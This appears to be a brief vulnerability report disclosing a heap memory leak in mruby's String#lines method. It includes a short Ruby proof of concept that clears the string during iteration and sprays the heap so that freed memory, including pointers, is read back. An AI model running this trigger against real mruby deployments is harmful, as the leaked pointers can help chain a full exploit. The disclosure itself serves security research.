Memory disclosure in mruby String#lines method

Hey again, while reviewing mruby for vulnerabilities, I stumble onto a case that allow an attacker to leak heap content including pointer that can be used along another vulnerability to craft a complete exploit.

@a = []
$a = ("a"*0xf + "\n") * 1000
$a.lines do |l|
  $a.clear
  foo = "UUUUUUUU" * 1000
  @a << l
end